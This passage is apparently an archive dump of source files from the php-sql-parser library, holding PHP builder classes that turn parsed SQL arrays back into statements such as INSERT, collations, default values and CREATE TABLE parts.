class RefClauseBuilder implements Builder {

    protected function buildInList($parsed) {
        $builder = new InListBuilder();
        return $builder->build($parsed);
    }

    protected function buildColRef($parsed) {
        $builder = new ColumnReferenceBuilder();
        return $builder->build($parsed);
    }

    protected function buildOperator($parsed) {
        $builder = new OperatorBuilder();
        return $builder->build($parsed);
    }

    protected function buildFunction($parsed) {
        $builder = new FunctionBuilder();
        return $builder->build($parsed);
    }

    protected function buildConstant($parsed) {
        $builder = new ConstantBuilder();
        return $builder->build($parsed);
    }

    protected function buildBracketExpression($parsed) {
        $builder = new SelectBracketExpressionBuilder();
        return $builder->build($parsed);
    }

    protected function buildColumnList($parsed) {
        $builder = new ColumnListBuilder();
        return $builder->build($parsed);
    }

    protected function buildSubQuery($parsed) {
        $builder = new SubQueryBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        if ($parsed === false) {
            return '';
        }
        $sql = '';
        foreach ($parsed as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildColRef($v);
            $sql .= $this->buildOperator($v);
            $sql .= $this->buildConstant($v);
            $sql .= $this->buildFunction($v);
            $sql .= $this->buildBracketExpression($v);
            $sql .= $this->buildInList($v);
            $sql .= $this->buildColumnList($v);
            $sql .= $this->buildSubQuery($v);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('expression ref_clause', $k, $v, 'expr_type');
            }

            $sql .= ' ';
        }
        return substr($sql, 0, -1);
    }
}
?>
PK     \_*	  	  Q  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/DefaultValueBuilder.phpnu [        <?php
/**
 * DefaultValueBuilder.php
 *
 * Builds the default value statement part of a column of a CREATE TABLE.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for the default value statement part of CREATE TABLE. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class DefaultValueBuilder implements Builder {

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::DEF_VALUE) {
            return "";
        }
        return $parsed['base_expr'];
    }
}
?>
PK     \m5    N  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/CollationBuilder.phpnu [        <?php
/**
 * CollationBuilder.php
 *
 * Builds the collation expression part of CREATE TABLE.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for the collation statement part of CREATE TABLE. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class CollationBuilder implements Builder {

    protected function buildOperator($parsed) {
        $builder = new OperatorBuilder();
        return $builder->build($parsed);
    }

    protected function buildConstant($parsed) {
        $builder = new ConstantBuilder();
        return $builder->build($parsed);
    }

    protected function buildReserved($parsed) {
        $builder = new ReservedBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::COLLATE) {
            return "";
        }
        $sql = "";
        foreach ($parsed['sub_tree'] as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildReserved($v);
            $sql .= $this->buildOperator($v);
            $sql .= $this->buildConstant($v);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('CREATE TABLE options collation subtree', $k, $v, 'expr_type');
            }

            $sql .= " ";
        }
        return substr($sql, 0, -1);
    }
}
?>
PK     \e~    S  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/LikeExpressionBuilder.phpnu [        <?php
/**
 * LikeExpressionBuilder.php
 *
 * Builds the LIKE keyword within parenthesis.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for the (LIKE) keyword within a 
 * CREATE TABLE statement. There are difference to LIKE (without parenthesis), 
 * the latter is a top-level element of the output array.
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class LikeExpressionBuilder implements Builder {

    protected function buildTable($parsed, $index) {
        $builder = new TableBuilder();
        return $builder->build($parsed, $index);
    }

    protected function buildReserved($parsed) {
        $builder = new ReservedBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::LIKE) {
            return "";
        }
        $sql = "";
        foreach ($parsed['sub_tree'] as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildReserved($v);
            $sql .= $this->buildTable($v, 0);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('CREATE TABLE create-def (like) subtree', $k, $v, 'expr_type');
            }

            $sql .= " ";
        }
        return substr($sql, 0, -1);
    }
}
?>
PK     \SD    K  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/InsertBuilder.phpnu [        <?php
/**
 * InsertBuilder.php
 *
 * Builds the [INSERT] statement part.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;

/**
 * This class implements the builder for the [INSERT] statement parts. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class InsertBuilder implements Builder {

    protected function buildTable($parsed) {
        $builder = new TableBuilder();
        return $builder->build($parsed, 0);
    }

    protected function buildSubQuery($parsed) {
        $builder = new SubQueryBuilder();
        return $builder->build($parsed, 0);
    }

    protected function buildReserved($parsed) {
        $builder = new ReservedBuilder();
        return $builder->build($parsed);
    }

    protected function buildBracketExpression($parsed) {
        $builder = new SelectBracketExpressionBuilder();
        return $builder->build($parsed);
    }

    protected function buildColumnList($parsed) {
        $builder = new InsertColumnListBuilder();
        return $builder->build($parsed, 0);
    }

    public function build(array $parsed) {
        $sql = '';
        foreach ($parsed as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildTable($v);
            $sql .= $this->buildSubQuery($v);
            $sql .= $this->buildColumnList($v);
            $sql .= $this->buildReserved($v);
            $sql .= $this->buildBracketExpression($v);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('INSERT', $k, $v, 'expr_type');
            }

            $sql .= " ";
        }
        return 'INSERT ' . substr($sql, 0, -1);
    }

}
?>
PK     \|yn
  
  `  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/ColumnTypeBracketExpressionBuilder.phpnu [        <?php
/**
 * ColumnTypeExpressionBuilder.php
 *
 * Builds the bracket expressions within a column type.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for bracket expressions within a column type. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class ColumnTypeBracketExpressionBuilder implements Builder {

    protected function buildSubTree($parsed, $delim) {
        $builder = new SubTreeBuilder();
        return $builder->build($parsed, $delim);
    }

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::BRACKET_EXPRESSION) {
            return "";
        }
        $sql = $this->buildSubTree($parsed, ",");
        $sql = "(" . $sql . ")";
        return $sql;
    }
}
?>
PK     \ޡY    U  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/InsertColumnListBuilder.phpnu [        <?php
/**
 * InsertColumnListBuilder.php
 *
 * Builds column-list parts of INSERT statements.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for column-list parts of INSERT statements. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class InsertColumnListBuilder implements Builder {

    protected function buildColumn($parsed) {
        $builder = new ColumnReferenceBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::COLUMN_LIST) {
            return "";
        }
        $sql = "";
        foreach ($parsed['sub_tree'] as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildColumn($v);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('INSERT column-list subtree', $k, $v, 'expr_type');
            }

            $sql .= ", ";
        } 
        return "(" . substr($sql, 0, -2) . ")";
    }

}
?>
PK     \s	  s	  M  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/DatabaseBuilder.phpnu [        <?php
/**
 * DatabaseBuilder.php
 *
 * Builds the database within the SHOW statement.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for a database within SHOW statement. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class DatabaseBuilder implements Builder {

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::DATABASE) {
            return "";
        }
        return $parsed['base_expr'];
    }
}
?>
PK     \I!	  	  L  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/RefTypeBuilder.phpnu [        <?php
/**
 * RefTypeBuilder.php
 *
 * Builds reference type within a JOIN.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnsupportedFeatureException;

/**
 * This class implements the references type within a JOIN. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class RefTypeBuilder {

    public function build($parsed) {
        if ($parsed === false) {
            return "";
        }
        if ($parsed === 'ON') {
            return " ON ";
        }
        if ($parsed === 'USING') {
            return " USING ";
        }
        // TODO: add more
        throw new UnsupportedFeatureException($parsed);
    }
}
?>
PK     \~$    [  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/TableBracketExpressionBuilder.phpnu [        <?php
/**
 * TableBracketExpressionBuilder.php
 *
 * Builds the table expressions within the create definitions of CREATE TABLE.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for the table expressions 
 * within the create definitions of CREATE TABLE. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class TableBracketExpressionBuilder implements Builder {

    protected function buildColDef($parsed) {
        $builder = new ColumnDefinitionBuilder();
        return $builder->build($parsed);
    }

    protected function buildPrimaryKey($parsed) {
        $builder = new PrimaryKeyBuilder();
        return $builder->build($parsed);
    }

    protected function buildForeignKey($parsed) {
        $builder = new ForeignKeyBuilder();
        return $builder->build($parsed);
    }
    
    protected function buildCheck($parsed) {
        $builder = new CheckBuilder();
        return $builder->build($parsed);
    }
    
    protected function buildLikeExpression($parsed) {
        $builder = new LikeExpressionBuilder();
        return $builder->build($parsed);
    }
    
    protected function buildIndexKey($parsed) {
        $builder = new IndexKeyBuilder();
        return $builder->build($parsed);
    }
    
    protected function buildUniqueIndex($parsed) {
        $builder = new UniqueIndexBuilder();
        return $builder->build($parsed);
    }
    
    protected function buildFulltextIndex($parsed) {
        $builder = new FulltextIndexBuilder();
        return $builder->build($parsed);
    }
    
    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::BRACKET_EXPRESSION) {
            return "";
        }
        $sql = "";
        foreach ($parsed['sub_tree'] as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildColDef($v);
            $sql .= $this->buildPrimaryKey($v);
            $sql .= $this->buildCheck($v);
            $sql .= $this->buildLikeExpression($v);
            $sql .= $this->buildForeignKey($v);
            $sql .= $this->buildIndexKey($v);
            $sql .= $this->buildUniqueIndex($v);
            $sql .= $this->buildFulltextIndex($v);
                        
            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('CREATE TABLE create-def expression subtree', $k, $v, 'expr_type');
            }

            $sql .= ", ";
        }

        $sql = " (" . substr($sql, 0, -2) . ")";
        return $sql;
    }
    
}
?>
PK     \8#t  t  J  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/CheckBuilder.phpnu [        <?php
/**
 * CheckBuilder.php
 *
 * Builds the CHECK statement part of CREATE TABLE.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
